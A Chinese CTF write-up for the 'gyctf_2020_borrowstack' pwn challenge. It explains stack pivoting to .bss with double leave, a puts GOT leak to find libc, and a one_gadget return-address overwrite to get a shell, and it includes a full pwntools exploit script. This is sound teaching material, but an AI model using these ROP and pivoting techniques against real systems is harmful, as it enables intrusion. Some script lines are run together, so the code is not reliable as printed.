这是一题栈迁移的题目,先看看保护:
黑盒测试:
用户可输入两次内容,接着看看IDA中具体程序流程:
我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢,肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。我们先看看最初栈的布局:
此时rip指向leave:
栈的内容:
leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令。
因此我们的思路明确了,需要覆盖掉old_rbp(图中手误大家理解就行)和返回地址。
old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。
问:(为何栈迁移需要两次调用leave?)
答:第一次调用是控制rbp到达想去的地方,第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了(不明白可以好好理解leave指令干的两件事)
因此我们的exp就能这样写了:
from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703 # ROPgadget --binary gyctf_2020_borrowstack --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave) #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #leak puts_addr
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()
下面我们看下步骤好的栈布局:
bss段上的内容:
此时劫持完rsp后效果是这样的:
接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。
后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。
puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下: